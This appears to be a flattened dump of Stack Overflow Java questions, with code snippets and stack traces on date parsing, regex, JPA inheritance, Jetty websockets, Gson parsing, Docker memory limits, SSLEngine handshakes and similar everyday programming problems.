java.text.SimpleDateFormat ; import java.time.LocalDateTime ; import java.time.format.DateTimeFormatter ; import java.util.Date ; public class App { public static final String DATE_TIME_PATTERN = `` dd-MM-yyyy hh : mm : ss.SSS '' ; public static final DateFormat DATE_TIME_FORMAT = new SimpleDateFormat ( DATE_TIME_PATTERN ) ; public static final String SEPERATOR = `` , '' ; public static void main ( String [ ] args ) { try { Date date = DATE_TIME_FORMAT.parse ( `` 12-03-2019 10:28:50.013 '' ) ; System.out.println ( `` date : { } `` + date ) ; LocalDateTime startTimestamp = LocalDateTime.parse ( `` 12-03-2019 10:28:50.013 '' , DateTimeFormatter.ofPattern ( DATE_TIME_PATTERN ) ) .plusNanos ( 1000000 ) ; System.out.println ( `` startTimestamp : { } `` + startTimestamp ) ; } catch ( Exception e ) { e.printStackTrace ( ) ; } } } date : { } Tue Mar 12 10:28:50 SGT 2019java.time.format.DateTimeParseException : Text '12-03-2019 10:28:50.013 ' could not be parsed : Unable to obtain LocalDateTime from TemporalAccessor : { NanoOfSecond=13000000 , HourOfAmPm=10 , MicroOfSecond=13000 , SecondOfMinute=50 , MilliOfSecond=13 , MinuteOfHour=28 } , ISO resolved to 2019-03-12 of type java.time.format.Parsed at java.time.format.DateTimeFormatter.createError ( DateTimeFormatter.java:1920 ) at java.time.format.DateTimeFormatter.parse ( DateTimeFormatter.java:1855 ) at java.time.LocalDateTime.parse ( LocalDateTime.java:492 ) at com.example.demo.App.main ( App.java:21 ) Caused by : java.time.DateTimeException : Unable to obtain LocalDateTime from TemporalAccessor : { NanoOfSecond=13000000 , HourOfAmPm=10 , MicroOfSecond=13000 , SecondOfMinute=50 , MilliOfSecond=13 , MinuteOfHour=28 } , ISO resolved to 2019-03-12 of type java.time.format.Parsed at java.time.LocalDateTime.from ( LocalDateTime.java:461 ) at java.time.format.Parsed.query ( Parsed.java:226 ) at java.time.format.DateTimeFormatter.parse ( DateTimeFormatter.java:1851 ) ... 2 moreCaused by : java.time.DateTimeException : Unable to obtain LocalTime from TemporalAccessor : { NanoOfSecond=13000000 , HourOfAmPm=10 , MicroOfSecond=13000 , SecondOfMinute=50 , MilliOfSecond=13 , MinuteOfHour=28 } , ISO resolved to 2019-03-12 of type java.time.format.Parsed at java.time.LocalTime.from ( LocalTime.java:409 ) at java.time.LocalDateTime.from ( LocalDateTime.java:457 ) ... 4 more",Difference between parse ( ) of DateFormat and SimpleDateFormat +Java,"I write a 2D platformer game where I need rooms with ( maximum 4 ) doors . I write it in Java , but the language is irrelevant.Each room can have 4 doors , on the top , bottom and sides . I call them NORTH , SOUTH , EAST and WEST . When I 'm building a room , I only give it an integer , where each bit in the integer is representing a door . For example if I want a room with 3 doors ( one on the North , one on the East , and on on the west ) i give the room the number : 11 ( 1011 in binary ) .For this reason each door has an integer , identifying it.If I generate a room , I give it the combination of these identifiers.For example : the previously mentioned room would get the identifierI store these doors in a simple array : My problem is : I need a function which can map the identifiers to the correct index in the array . I do n't always need 4 doors.What I did at first seems the simplest : the doors array would always have 4 elements , and the indices I would not use would simply remain nulls . In order to be safe I needed to to determine if the door I 'm requesting actually exists in the room.So with this , the query function looked like this : Which was working . BUT ! This way the array could waste space with the unused elements . Plus the class Door could potentially be any size , increasing the memory waste.Not to mention I could need more `` slots '' for doors ( for example , If I try to implement this in 3D ) , so I decided to try and make the doors array 's size depending on the identifier for the doors : Which gave an IndexOutOfBounds error real quick . I was n't surprised , because the doors array could be any size from 0 to 4 , so I needed a new hashing method.What I came up with are two hash tables , one for the array indices : and one , which helps helps in the mapping of the previous table : so my current mapping function looks like this : Which also seems to work fine , but I feel there 's a simpler solution to this problem , or one with less wasteful hash tables . I feel this is n't as asymptotically flexible as it should be , or I am over-complicating things . What would be a better method ? Thank you for your time !","NORTH = 8 ; //1000SOUTH = 4 ; //0100EAST = 2 ; //0010WEST = 1 ; //0001 doorStock = NORTH | EAST | WEST ; Door doors [ ] = new Door [ 4 ] ; public Door getDoor ( int doorID ) { switch ( doorID ) { case NORTH : { return doors [ 0 ] ; } case SOUTH : { return doors [ 1 ] ; } case EAST : { return doors [ 2 ] ; } case WEST : { return doors [ 3 ] ; } } return null ; } private boolean doorExists ( int doorID ) { return ( doorID & doorStock ) ! = 0 } public Door getDoor ( int doorID ) { switch ( doorID ) { case NORTH : { if ( doorExists ( NORTH ) ) return doors [ 0 ] ; else return null ; } case SOUTH : { if ( doorExists ( NORTH ) ) return doors [ 1 ] ; else return null ; } case EAST : { if ( doorExists ( NORTH ) ) return doors [ 2 ] ; else return null ; } case WEST : { if ( doorExists ( NORTH ) ) return doors [ 3 ] ; else return null ; } } return null ; } Door doors = new Door [ Integer.bitCount ( doorStock ) ] ; private final int [ ] [ ] doorhash = { /* NORTH SOUTH EAST WEST doorStock*/ { -1 , -1 , -1 , -1 } /*0000*/ , { -1 , -1 , -1 , 0 } /*0001*/ , { -1 , -1 , 0 , -1 } /*0010*/ , { -1 , -1 , 0 , 1 } /*0011*/ , { -1 , 0 , -1 , -1 } /*0100*/ , { -1 , 0 , -1 , 1 } /*0101*/ , { -1 , 0 , 1 , -1 } /*0110*/ , { -1 , 0 , 1 , 2 } /*0111*/ , { 0 , -1 , -1 , -1 } /*1000*/ , { 0 , -1 , -1 , 1 } /*1001*/ , { 0 , -1 , 1 , -1 } /*1010*/ , { 0 , -1 , 1 , 2 } /*1011*/ , { 0 , 1 , -1 , -1 } /*1100*/ , { 0 , 1 , -1 , 2 } /*1101*/ , { 0 , 1 , 2 , -1 } /*1110*/ , { 0 , 1 , 2 , 3 } /*1111*/ } ; private final int [ ] directionHash = { -1 , /*0000*/ 3 , /*0001 - WEST*/ 2 , /*0010 - EAST*/ -1 , /*0011*/ 1 , /*0100 - SOUTH*/ -1 , /*0101*/ -1 , /*0110*/ -1 , /*0111*/ 0 , /*1000 - NORTH*/ } ; public Door getDoor ( int doorID ) { switch ( doorID ) { case NORTH : { if ( doorExists ( NORTH ) ) return doors [ doorhash [ doorStock ] [ directionHash [ NORTH ] ] ] ; else return null ; } case SOUTH : { if ( doorExists ( NORTH ) ) return doors [ doorhash [ doorStock ] [ directionHash [ SOUTH ] ] ] ; else return null ; } case EAST : { if ( doorExists ( NORTH ) ) return doors [ doorhash [ doorStock ] [ directionHash [ EAST ] ] ] ; else return null ; } case WEST : { if ( doorExists ( NORTH ) ) return doors [ doorhash [ doorStock ] [ directionHash [ WEST ] ] ] ; else return null ; } } return null ; }",Is Hashing a suitable solution ? Am I over-complicating it ? +Java,I have a String that contains 2 or 3 company names each enclosed in parentheses . Each company name can also contains words in parentheses . I need to separate them using regular expressions but did n't find how.My inputStr : The expected result is : My code : This works great for str2 and str3 but not for str1.Current result :,"( Motor ( Sport ) ( racing ) Ltd. ) ( Motorsport racing ( Ltd. ) ) ( Motorsport racing Ltd. ) or ( Motor ( Sport ) ( racing ) Ltd. ) ( Motorsport racing ( Ltd. ) ) str1 = Motor ( Sport ) ( racing ) Ltd.str2 = Motorsport racing ( Ltd. ) str3 = Motorsport racing Ltd . String str1 , str2 , str3 ; Pattern p = Pattern.compile ( `` \\ ( ( .* ? ) \\ ) '' ) ; Matcher m = p.matcher ( inputStr ) ; int index = 0 ; while ( m.find ( ) ) { String text = m.group ( 1 ) ; text = text ! = null & & StringUtils.countMatches ( text , `` ( `` ) ! = StringUtils.countMatches ( text , `` ) '' ) ? text + `` ) '' : text ; if ( index == 0 ) { str1= text ; } else if ( index == 1 ) { str2 = text ; } else if ( index == 2 ) { str3 = text ; } index++ ; } str1 = Motor ( Sport ) str2 = Motorsport racing ( Ltd. ) str3 = Motorsport racing Ltd .",Regular Expression for separating strings enclosed in parentheses +Java,Given this Java code : I want to know how Java will compare equality for this case . Will it use an XOR operation to check equality ?,int fst = 5 ; int snd = 6 ; if ( fst == snd ) do something ;,Java : How does the == operator work when comparing int ? +Java,Today I stumbled about some strange inner ( non-static ) class behaviour.If I have the following classes ... ... everything seems to be clear . The instance of InnerB belongs to the instance of B so if it should output val it prints the already replaced value 'new'.BUT if the inner class extends the outer class this does n't work.If I have a look at the constructors I also see that a new instance of B will be created if instance of InheritedB is created.I find this very strange ... Can somebody explain why there is this difference ?,class B { String val = `` old '' ; void run ( ) { val = `` new '' ; System.out.println ( val ) ; // outputs : new new InnerB ( ) .printVal ( ) ; // outputs : new } private class InnerB { void printVal ( ) { System.out.println ( val ) ; } } } new B ( ) .run ( ) ; class B { String val = `` old '' ; void run ( ) { val = `` new '' ; System.out.println ( val ) ; // outputs : new new InnerB ( ) .printVal ( ) ; // outputs : new new InheritedB ( ) .printVal ( ) ; // outputs : old new } private class InnerB { void printVal ( ) { System.out.println ( val ) ; } } private class InheritedB extends B { void printVal ( ) { System.out.println ( val + `` `` + B.this.val ) ; } } } new B ( ) .run ( ) ; // outputs : new new old !,Different member behaviour of inner class if inner class extends outer class ? +Java,"The above code prints 5 when compiled and run . It uses the covariant return for the over-ridden method . Why does it prints 5 instead of 6 , as it executes the over ridden method getObj in class SubCovariantTest . Can some one throw some light on this . Thanks .",public class CovariantTest { public A getObj ( ) { return new A ( ) ; } public static void main ( String [ ] args ) { CovariantTest c = new SubCovariantTest ( ) ; System.out.println ( c.getObj ( ) .x ) ; } } class SubCovariantTest extends CovariantTest { public B getObj ( ) { return new B ( ) ; } } class A { int x = 5 ; } class B extends A { int x = 6 ; },Java Covariants +Java,"I 'm trying to include a changes tracker to my JPA Entitys ( to a log file , not a database ) however the changeSet returned by my DescriptorEventAdapter is always null . I 'm using EclipseLink 2.5.2 , ojdbc6 , spring-orm 4.1.1.All events are called ( including preUpdateWithChanges ) and the changes are pushed to the database . I 'm using entityManager.merge ( entity ) to update the entity.HistoryEventListener.javaSome entitypersistence.xmlUsing UnitOfWork from eclipse wiki also returns a Null ObjectChangeSet .","public class HistoryEventListener extends DescriptorEventAdapter { @ Override public void preUpdate ( DescriptorEvent event ) { ObjectChangeSet changeSet = event.getChangeSet ( ) ; // Always null } @ Override public void preUpdateWithChanges ( DescriptorEvent event ) { ObjectChangeSet changeSet = event.getChangeSet ( ) ; ... } ; @ Override public void postUpdate ( DescriptorEvent event ) { ... } @ Override public void postMerge ( DescriptorEvent event ) { ... } } @ Entity @ Table ( name = `` XXX '' , schema = `` XXX '' ) @ EntityListeners ( HistoryEventListener.class ) @ Cache ( databaseChangeNotificationType = DatabaseChangeNotificationType.NONE , isolation = CacheIsolationType.ISOLATED ) public class XXXX implements Serializable { // id + fields } < persistence version= '' 2.0 '' xmlns= '' http : //java.sun.com/xml/ns/persistence '' xmlns : xsi= '' http : //www.w3.org/2001/XMLSchema-instance '' xsi : schemaLocation= '' http : //java.sun.com/xml/ns/persistence http : //java.sun.com/xml/ns/persistence/persistence_2_0.xsd '' > < persistence-unit name= '' XXXXXX '' transaction-type= '' RESOURCE_LOCAL '' > < provider > org.eclipse.persistence.jpa.PersistenceProvider < /provider > < jta-data-source > jdbc/XXXXX < /jta-data-source > < exclude-unlisted-classes > false < /exclude-unlisted-classes > < properties > < property name= '' eclipselink.weaving '' value= '' static '' / > < property name= '' eclipselink.target-database '' value= '' Oracle11 '' / > < /properties > < /persistence-unit > < /persistence >",JPA DescriptorEventAdapter ChangeSet always null +Java,In AppEngine standard environment with Java8 during attempt to use SVG next error appears . I get this error when I try to draw SVG on a XSLFSlide with POI like slide.draw ( graphics2D ) or to convert SVG to PNG with Batik.The problem seems to appear because fontconfig can not find fonts . In debian distribution it solves by installing libfontconfig1 . How to solve it on AppEngine ?,java.lang.NullPointerExceptionat sun.awt.FontConfiguration.getVersion ( FontConfiguration.java:1264 ) at sun.awt.FontConfiguration.readFontConfigFile ( FontConfiguration.java:219 ) at sun.awt.FontConfiguration.init ( FontConfiguration.java:107 ) at sun.awt.X11FontManager.createFontConfiguration ( X11FontManager.java:774 ) at sun.font.SunFontManager $ 2.run ( SunFontManager.java:431 ) at java.security.AccessController.doPrivileged ( Native Method ) at sun.font.SunFontManager. < init > ( SunFontManager.java:376 ) at sun.awt.FcFontManager. < init > ( FcFontManager.java:35 ) at sun.awt.X11FontManager. < init > ( X11FontManager.java:57 ) at sun.reflect.NativeConstructorAccessorImpl.newInstance0 ( Native Method ) at sun.reflect.NativeConstructorAccessorImpl.newInstance ( NativeConstructorAccessorImpl.java:62 ) at sun.reflect.DelegatingConstructorAccessorImpl.newInstance ( DelegatingConstructorAccessorImpl.java:45 ) at java.lang.reflect.Constructor.newInstance ( Constructor.java:423 ) at java.lang.Class.newInstance ( Class.java:443 ) at sun.font.FontManagerFactory $ 1.run ( FontManagerFactory.java:83 ) at java.security.AccessController.doPrivileged ( Native Method ) at sun.font.FontManagerFactory.getInstance ( FontManagerFactory.java:74 ) at java.awt.Font.getFont2D ( Font.java:491 ) at java.awt.Font.canDisplay ( Font.java:1980 ) at org.apache.poi.sl.draw.DrawTextParagraph.canDisplayUpTo ( DrawTextParagraph.java:756 ) at org.apache.poi.sl.draw.DrawTextParagraph.getAttributedString ( DrawTextParagraph.java:640 ) at org.apache.poi.sl.draw.DrawTextParagraph.breakText ( DrawTextParagraph.java:248 ) at org.apache.poi.sl.draw.DrawTextShape.drawParagraphs ( DrawTextShape.java:159 ) at org.apache.poi.sl.draw.DrawTextShape.getTextHeight ( DrawTextShape.java:220 ) at org.apache.poi.sl.draw.DrawTextShape.drawContent ( DrawTextShape.java:102 ) at org.apache.poi.sl.draw.DrawSimpleShape.draw ( DrawSimpleShape.java:93 ) at org.apache.poi.sl.draw.DrawSheet.draw ( DrawSheet.java:71 ) at org.apache.poi.sl.draw.DrawSlide.draw ( DrawSlide.java:41 ) at org.apache.poi.xslf.usermodel.XSLFSlide.draw ( XSLFSlide.java:307 ),How to configure Google AppEngine to work with vector graphic ? +Java,"I have created a spring boot web application and deployed war of the same to tomcat container.The application connects to mongoDB using Async connections . I am using mongodb-driver-async library for that.At startup everything works fine . But as soon as load increases , It shows following exception in DB connections : I am using following versions of software : Spring boot - > 1.5.4.RELEASETomcat ( installed as standalone binary ) - > apache-tomcat-8.5.37Mongo DB version : v3.4.10mongodb-driver-async : 3.4.2As soon as I restart the tomcat service , everything starts working fine.Please help , what could be the root cause of this issue.P.S . : I am using DeferredResult and CompletableFuture to create Async REST API.I have also tried using spring.mvc.async.request-timeout in application and configured asynTimeout in tomcat . But still getting same error .",org.springframework.web.context.request.async.AsyncRequestTimeoutException : null at org.springframework.web.context.request.async.TimeoutDeferredResultProcessingInterceptor.handleTimeout ( TimeoutDeferredResultProcessingInterceptor.java:42 ) at org.springframework.web.context.request.async.DeferredResultInterceptorChain.triggerAfterTimeout ( DeferredResultInterceptorChain.java:75 ) at org.springframework.web.context.request.async.WebAsyncManager $ 5.run ( WebAsyncManager.java:392 ) at org.springframework.web.context.request.async.StandardServletAsyncWebRequest.onTimeout ( StandardServletAsyncWebRequest.java:143 ) at org.apache.catalina.core.AsyncListenerWrapper.fireOnTimeout ( AsyncListenerWrapper.java:44 ) at org.apache.catalina.core.AsyncContextImpl.timeout ( AsyncContextImpl.java:131 ) at org.apache.catalina.connector.CoyoteAdapter.asyncDispatch ( CoyoteAdapter.java:157 ),"Spring boot + tomcat 8.5 + mongoDB , AsyncRequestTimeoutException" +Java,"I tried the following loggersJava Logging APILog4jslf4jAll of these requires a LOGGER declaration at the class level , like the ones belowThis looks hideous to me , is there an logger framework in java that does not require this declaration ? What I 'm looking for is , I can have a global declaration likeBut when I call Logger.log ( .. ) from class XXX.class then the Logger should make use of the XXX.class name .",private final static java.util.logging.Logger.Logger LOGGER = java.util.logging.Logger.Logger.getLogger ( MyClass.class.getName ( ) ) ; private final Logger slf4jLogger = LoggerFactory.getLogger ( SLF4JHello.class ) ; private final static Logger log4jLogger = Logger.getLogger ( Log4jHello.class ) ; private final static Logger Logger = Logger.getLogger ( MyApp.class ) ;,Java logging framework which does not require LOGGER declaration on every class +Java,"Following this post : http : //android-developers.blogspot.com/2016/01/play-games-permissions-are-changing-in.html I have obtained a single use authorization code for use on my backend server as follows : This seems to works fine , but it presents a question:1 ) getGamesServerAuthCode and GetServerAuthCodeResult are marked as deprecated . Why ? Should I be using something else instead ? 2 ) How would I do something equivalent in an non-Android installed Java application ? I am able to obtain a token on the client application , but I also need to obtain a single use code to pass to my backend server like above . I ca n't find an equivalent function to get a Server Auth Code . ( using com.google.api.client.extensions.java6.auth.oauth2 ) I am basically trying to follow this flow : https : //developers.google.com/games/services/web/serverlogin but in Java , NOT Javascript . I am attempting to do this in an Android app and a desktop Java app .","import com.google.android.gms.games.Games ; //laterGames.GetServerAuthCodeResult result = Games.getGamesServerAuthCode ( gameHelper.getApiClient ( ) , server_client_id ) .await ( ) ; if ( result.getStatus ( ) .isSuccess ( ) ) { String authCode = result.getCode ( ) ; // Send code to server ...",Why is GetServerAuthCodeResult Deprecated ? How can I do something equivalent in an Installed Application ? +Java,"I 'm running a websocket server , using embedded Jetty.It works as intended when I make connections from the same machine ( localhost ) , but when I try to connect from a different machine , I get the error `` Host is down '' ( also known as EHOSTDOWN ) .Logs say that Jetty is listening on 0.0.0.0 address , so it should accept connections from everywhere , and the port ( in this example , 12345 ) is allowed in ufw for all protocols . I also tried temporarily disabling ufw and that had no effect.This is my code ( this is a simple websocket echo-server , I 've removed everything that 's irrelevant ) : So , what could cause such issue ? I do n't even know anything else to try…","import org.eclipse.jetty.server.Server ; import org.eclipse.jetty.server.ServerConnector ; import org.eclipse.jetty.servlet.ServletContextHandler ; import org.eclipse.jetty.servlet.ServletHolder ; import org.eclipse.jetty.websocket.api.WebSocketAdapter ; import org.eclipse.jetty.websocket.servlet.WebSocketServlet ; import org.eclipse.jetty.websocket.servlet.WebSocketServletFactory ; import java.io.IOException ; public class EchoServerLauncher { static final int PORT = 12345 ; public static void main ( String [ ] args ) { startServer ( PORT ) ; } private static void startServer ( final int port ) { new EchoServer ( port ) .startAndJoin ( ) ; } } class EchoServer extends WebsocketServerBase { static final String PATH = `` /hello/ '' ; public EchoServer ( final int port ) { super ( port ) ; } void startAndJoin ( ) { super.startAndJoinWithServlet ( new EchoServlet ( ) , PATH ) ; } } class EchoServlet extends WebSocketServlet { @ Override public void configure ( final WebSocketServletFactory factory ) { factory.setCreator ( ( req , resp ) - > new EchoSocketAdapter ( ) ) ; } } class EchoSocketAdapter extends WebSocketAdapter { @ Override public void onWebSocketText ( final String message ) { super.onWebSocketText ( message ) ; if ( message == null ) return ; try { getSession ( ) .getRemote ( ) .sendString ( message ) ; } catch ( IOException e ) { throw new RuntimeException ( e ) ; } } } class WebsocketServerBase { private final int port ; public WebsocketServerBase ( int port ) { this.port = port ; } void startAndJoinWithServlet ( WebSocketServlet servlet , String path ) { final Server server = new Server ( ) ; final ServerConnector connector = new ServerConnector ( server ) ; connector.setPort ( this.port ) ; server.addConnector ( connector ) ; final ServletContextHandler contextHandler = new ServletContextHandler ( ServletContextHandler.SESSIONS ) ; contextHandler.setContextPath ( `` / '' ) ; server.setHandler ( contextHandler ) ; final ServletHolder servletHolder = new ServletHolder ( servlet.getClass ( ) .getSimpleName ( ) , servlet ) ; contextHandler.addServlet ( servletHolder , path ) ; try { server.start ( ) ; server.dump ( System.err ) ; server.join ( ) ; } catch ( Exception e ) { e.printStackTrace ( System.err ) ; } } }","Jetty Websocket server is working locally , but remote connections fail with `` Host is down '' error , how to fix it ?" +Java,"There is an overload method , collect ( ) , in interface Stream < T > with the following signature : There is another version of collect ( Collector < ? super T , A , R > collector ) , which receives an object with the previous three functions . The property of the interface Collector corresponding to the combiner has the signature BinaryOperator < A > combiner ( ) .In the latter case , the Java API 8 states that : The combiner function may fold state from one argument into the other and return that , or may return a new result container.Why does the former collect method not receive a BinaryOperator < R > too ?","< R > R collect ( Supplier < R > supplier , BiConsumer < R , ? super T > accumulator , BiConsumer < R , R > combiner )",Why is the combiner of the Collector interface not consistent with the overloaded collect method ? +Java,"My string looks like this : What I want is to get letters in uppercase ( as separate words only ) until first dot , to get : DK DJY N. But not other characters after , like J DOI.Here ` s my part of code for Java class Pattern : Is there a general option in regex to stop matching after certain character ?","`` Chitkara DK , Rawat DJY , Talley N. The epidemiology of childhood recurrent abdominal pain in Western countries : a systematic review . Am J Gastroenterol . 2005 ; 100 ( 8 ) :1868-75 . DOI . '' \\b [ A-Z ] { 1,3 } \\b",Regex in Java : match groups until first symbol occurrence +Java,I consume an API which gives me this type of JSON : I have created the classes with objects with the same structure as the above JSON . I use the retrofit lib in Android which inside uses GSON for parsing the JSON.My model classes would be like this : MResponse.classUser.classPositionData.classPosition.classNow this works fine for me . But as you can see for every model I have to create a parent which will have the same structure just changes the child . This fact doubles the classes that I use for my models . I would like to ask if there is a better way to avoid all these classes.I do n't want to use inner classes . I was thinking that the guys that have done the JSON like this must have had a reason why they did it like this and also a way to make the parsing more easier.Usually I was used to parse this kind of JSON structure : And here it 's easier if I would follow the solution above.EDITAlso any solution in Kotlin is welcomedEDIT 2Solution for Kotlin here,"{ `` data '' : { `` name '' : `` Start '' , `` pid '' : `` 1 '' , `` position '' : { `` data '' : { `` x '' : `` 31 '' , `` y '' : `` 330 '' } , `` metadata '' : `` empty '' } } , `` metadata '' : `` empty '' } public class MResponse { @ SerializedName ( `` data '' ) public User user ; String metadata ; } public class User { public String name ; public String pid ; @ SerializedName ( `` position '' ) public PositionData positionData ; } public class PositionData { @ SerializedName ( `` data '' ) public Position position ; public String metadata ; } public class Position { public String x ; public String y ; } { `` data '' : { `` name '' : `` Start '' , `` pid '' : `` 1 '' , `` position '' : { `` x '' : `` 31 '' , `` y '' : `` 330 '' } } }",Java/Kotlin JSON parsing improvement +Java,"If I do docker run -- memory=X to run a Java app through a Bash script , is there any way to get this Bash script to reliably infer how much memory has been allocated to the container ? Basically , I want this Bash script to do something like : Also , if I do the above , should I make Java use a little bit less than the maximum RAM ?",# ! /bin/bash # ( Do some other stuff ... ) MAX_RAM= '' $ ( get-max-ram ) '' exec java `` -Xms $ { MAX_RAM } '' `` -Xmx $ { MAX_RAM } '' -jar my_jar.jar,Automatically configure Java to use the maximum RAM allocated to its Docker container +Java,"I am working on a project where I want to provide unique URL for each user . For example , So far I 'm able to achieve this : http : //www.SocialNetwork.com/profiles/jasmine here profiles is my action where i can get the user name by but I want to achieve something Like this , http : //www.SocialNetwork.com/jasmineJust Domain name then username.Like twitter does : www.twitter.com/usernameHow to achieve this ?","http : //www.SocialNetwork.com/jhon , http : //www.SocialNetwork.com/jasmine , < constant name= '' struts.mapper.alwaysSelectFullNamespace '' value= '' false '' / > < constant name= '' struts.enable.SlashesInActionNames '' value= '' true '' / > < constant name= '' struts.patternMatcher '' value= '' namedVariable '' / > < action name= '' profiles/ { username } '' class= '' com.example.actions.ViewProfileAction '' > < result name= '' input '' > /WEB-INF/jsp/profile.jsp < /result > < /action >",How to create custom URLs with Struts2 ? Like www.twitter.com/goodyzain +Java,"I 'm working on image , making a feature which allows user to place tags on images ( like Facebook photo tag ) . I have a zoomable ImageView ( using Mike Ortiz 's TouchImageView ) as a background image , and some ImageViews as image tags.Each tag has X and Y position , and there is no problem in displaying both background image and image tags in correct position . However , when user triggers pinch zoom , the position of background image is changed . Which means , the position of each image tags must also be changed/updated according to the current background image 's zoom level and scroll position.I 'm currently using this method : But when I tried , it went totally wrong . Can anyone help me finding correct method/equation ? EDIT : I tried using Matrix.mapPoints ( ) , but I do n't understand how this matrix could help me solving my problem . Here is an image for better explanation :",float currentZoom = mImageView.getCurrentZoom ( ) ; float zoomedX = x / currentZoom ; float zoomedY = y / currentZoom ;,Android - Adjusting Image View Position on Top of a Zoomable Image View +Java,So I have two AtomicBoolean and I need to check both of them . Something like that : But there is a race condition in between : ( Is there a way to combine two atomic boolean checks into a single one without using synchronization ( i.e . synchronized blocks ) ?,if ( atomicBoolean1.get ( ) == true & & atomicBoolean2.get ( ) == false ) { // ... },How to atomically check TWO AtomicBooleans in Java in one safe operation without a synchronized block ( i.e . low cost locks ) ? +Java,"I 've a weird problem loading some objects . I 'm using JPA 1 , hibernate-core version 3.3.0.SP1 and hibernate-entitymanager version 3.4.0.GALet 's say I 've these JPA entities : The thing is , I 'd like to obtain always the subclasses ( meaning the ElementTypeOne , ElementTypeTwo instead the elements ) when I load a collection of these entities . The problem is that the many to many relation always get the Element ( the father instead the children ) Let 's say I 've an entity A containing a colection of Elements : And if I get the collection , everything works fine ( I get the subclasses as expected ) . The problem comes when I 've another entity B with a collection of the JpaMany3ManyEntity ( notice that the same entity element is involved ) If I loop the threeElementExampleCollection from class B before I try to obtain the elementCollection from class A , when I load the objects from the elementCollectionI obtain just the superclass ( Element ) objects instead the children.I guess that , for any reason , the many to many relationship obtains always the Element objects ( father ) and saves them in the hibernate cache , but I need to avoid this behaviour.Any ideas or workarround ? Any kind of help would be really appreciated.Thanks in advance.EDIT : the many to many class :","@ Entity @ Table ( name = `` SLC_ELE '' ) @ Inheritance ( strategy = InheritanceType.JOINED ) @ DiscriminatorColumn ( discriminatorType = DiscriminatorType.INTEGER , name = ElementoPrograma.C_ID_CTG_ELE ) public class Element { ... } @ Entity @ Table ( name = `` SLC_ELE_ONE '' ) @ Inheritance ( strategy = InheritanceType.JOINED ) @ DiscriminatorValue ( Categories.ID_CTG_ONE ) public class ElementTypeOne extends Element { ... } @ Entity @ Table ( name = `` SLC_ELE_TWO '' ) @ Inheritance ( strategy = InheritanceType.JOINED ) @ DiscriminatorValue ( Categories.ID_CTG_TWO ) public class ElementTypeTwo extends Element { ... } @ Entity @ Table ( name = ThreeElementExample.TABLENAME ) @ AssociationOverrides ( { @ AssociationOverride ( name = JpaMany3ManyEntity.ASOCIATION_OVERRIDE_ONE , joinColumns = @ JoinColumn ( name = Element.C_ID_ELE ) ) , @ AssociationOverride ( name = JpaMany3ManyEntity.ASOCIATION_OVERRIDE_TWO , joinColumns = @ JoinColumn ( name = OneEntity.C_ID_TWO ) ) , @ AssociationOverride ( name = JpaMany3ManyEntity.ASOCIATION_OVERRIDE_THREE , joinColumns = @ JoinColumn ( name = AnotherEntity.C_ID_THREE ) ) } ) public class ThreeElementExample extends JpaMany3ManyEntity < Element , OneEntity , AnotherEntity > { ... } @ Fetch ( FetchMode.JOIN ) @ OneToMany ( cascade = CascadeType.ALL , mappedBy = `` idEle '' ) private Collection < Element > elementCollection ; @ OneToMany ( cascade = CascadeType.ALL , mappedBy = JpaMany3ManyEntity.ASOCIATION_OVERRIDE_ONE , fetch = FetchType.LAZY ) private Collection < ThreeElementExample > threeElementExampleCollection ; @ SuppressWarnings ( `` serial '' ) @ MappedSuperclass @ AssociationOverrides ( { @ AssociationOverride ( name = JpaMany3ManyEntity.ASOCIATION_OVERRIDE_ONE , joinColumns = @ JoinColumn ( name = `` changeMeWhenExtends '' ) ) , @ AssociationOverride ( name = JpaMany3ManyEntity.ASOCIATION_OVERRIDE_TWO , joinColumns = @ JoinColumn ( name = `` changeMeWhenExtends '' ) ) , @ AssociationOverride ( name = JpaMany3ManyEntity.ASOCIATION_OVERRIDE_THREE , joinColumns = @ JoinColumn ( name = `` changeMeWhenExtends '' ) ) } ) public abstract class JpaMany3ManyEntity < A extends JpaBaseEntity , B extends JpaBaseEntity , C extends JpaBaseEntity > extends JpaBaseEntity { public static final String ID_ATTNAME = `` id '' ; public static final String ASOCIATION_OVERRIDE_ONE = JpaMany3ManyEntity.ID_ATTNAME + `` . '' + JpaMany3ManyId.ID_ONE_ATTNAME ; public static final String ASOCIATION_OVERRIDE_TWO = JpaMany3ManyEntity.ID_ATTNAME + `` . '' + JpaMany3ManyId.ID_TWO_ATTNAME ; public static final String ASOCIATION_OVERRIDE_THREE = JpaMany3ManyEntity.ID_ATTNAME + `` . '' + JpaMany3ManyId.ID_THREE_ATTNAME ; ... }",Inheritance JPA and Hibernate Issue +Java,I have code like this : And the result is this : This value is a 64-bit integer but it easily fits inside a 32-bit integer which should fit in a double . What is going on ?,System.out.println ( `` Math.round ( 1423562400L ) = > `` + Math.round ( 1423562400L ) ) ; Math.round ( 1423562400L ) = > 1423562368,Why Java 's Math.round ( ) can not handle this number ? +Java,I trying to print something like this : So far I have sucessfully printed the first part of the figure but having a hard time with the second part . This is how I am printing the first part of the figure : The second part I have is My outcome looks like this : For the full code please check : http : //pastebin.com/YyCJ6Cq3,+ -- -- -- -- +| /\ || / -- \ || /====\ || < -- -- -- > || \====/ || \ -- / || \/ |+ -- -- -- -- + for ( int fill = 0 ; fill < = ( ( 2 * row - 1 ) ) ; fill++ ) { if ( ( row % 2 ) == 0 ) { System.out.print ( `` = '' ) ; } else { System.out.print ( `` - '' ) ; } } for ( int fill = 0 ; fill < = ( n - 2 * ( row - 1 ) ) ; fill++ ) { //This is where I need help if ( ( row % 2 ) == 0 ) { System.out.print ( `` = '' ) ; } else { System.out.print ( `` - '' ) ; } } + -- -- -- -- + | /\ | | / -- \ | | /====\ | | < -- -- -- > | | \=====/ | | \ -- -/ | | \=/ | + -- -- -- -- +,Printing ASCII Diamond Figure in Java +Java,"I am seeing a weird issue with SSLEngine and wondering if there is an issue with my code or SSLEngine . Here is the order in which I see thingsHandshakeStatus is NEED_WRAPWe call SSLEngine.WRAPafter , there is ZERO data written to the buffer , and SSLEngineResult.result=OK ( not overflow nor underflow : ( ) and HandshakeStatus is STILL NEED_WRAPMost important question : How to debug thoroughly ? How to 'see ' each message somehow ? I can capture the byte stream easily enough but is there some library that can parse that into SSL handshake objects ? line 298 ( recording previous handshake status ) to line 328 ( where we throw the exception with info ) is the relevant code herehttps : //github.com/deanhiller/webpieces/blob/sslEngineFartingExample/core/core-ssl/src/main/java/org/webpieces/ssl/impl/AsyncSSLEngine3Impl.javaThe stack trace wasany ideas ? How can I really dig into this further ? My preference is a library that takes bytes and spits out ssl objects representing each handshake message or decrypted packet ( with any header info that comes with the original encrypted thing ) .Specifically , here is the code mentioned 